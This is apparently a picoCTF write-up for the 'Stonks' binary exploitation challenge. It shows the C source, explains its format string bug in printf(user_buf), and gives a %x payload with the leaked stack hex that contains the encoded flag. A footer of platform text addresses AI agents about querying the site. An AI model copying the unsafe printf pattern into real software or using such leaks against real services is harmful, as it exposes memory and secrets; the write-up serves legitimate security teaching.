> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/picoctf/binary-exploitation/stonks.md).

# Stonks

> Okay, maybe I'd believe you if you find my API key.

## Source Code

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}
```

The last `printf` in the `buy_stonks` function does not have a format specified. This leads to a [format string vulnerability](https://owasp.org/www-community/attacks/Format_string_attack).

The correct use of `printf` is as follows:

```c
printf(”format String”, Arguments);
```

If only one argument is provided, we can either print out the string or define the format. If we provide the data format, `printf()` will try to find the second argument, and when it can’t find anything, it will start printing data from the stack.

```
Lower address
+-------------------------+
|                         |
|   %x%x%x%x%x%x%x%x%x    | <------ For every format specifier, printf 
|   %x%x%x%x%x%x%x%x%x    |         will read one byte from the stack
|                         |
|-------------------------|
|                         |
|     String pointer      |
|                         |
|-------------------------|  
|                         |
|     return address      |
|                         |
|-------------------------|  
|                         |
|     local variable      |
|                         |
|-------------------------|  
|                         |
|          flag           |
|                         |
+-------------------------+  
Higher address
```

The code is already running at `mercury.picoctf.net` on port `59616`. We can connect using netcat.

```
$ nc mercury.picoctf.net 59616
```

On connecting we can choose the `Buy some stonks!` option.

Once we are prompted to enter the API token, we can try and supply a format specifier. In this case we'll use `%x` which is for printing hexadecimal values.

```
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
84ce410804b00080489c3f7efad80ffffffff184cc160f7f08110f7efadc7084cd180884ce3f084ce4106f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ffcb007df7f35af8f7f084401f30c10010f7d97ce9f7f090c0f7efa5c0f7efa000ffcb7b88f7d8868df7efa5c0
```

There is a dump of hexadecimal characters in the output. Let's try to decode it using [Cyberchef](https://gchq.github.io/CyberChef/).&#x20;

<figure><img src="/files/8uwKeD8lAvbW6Qwy9uk4" alt=""><figcaption></figcaption></figure>

We can see a string that resembles our flag. However it seems to be mangled.

This is because it is in [little-endian](https://www.geeksforgeeks.org/little-and-big-endian-mystery/) format. We can decode this using Cyberchef as well.

<figure><img src="/files/kVAwCHVH4a5k16OsbRhU" alt=""><figcaption></figcaption></figure>

The closing bracket is not present because the string was terminated by a NULL byte. But that is fine we can just add it.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kunalwalavalkar.gitbook.io/write-ups/picoctf/binary-exploitation/stonks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
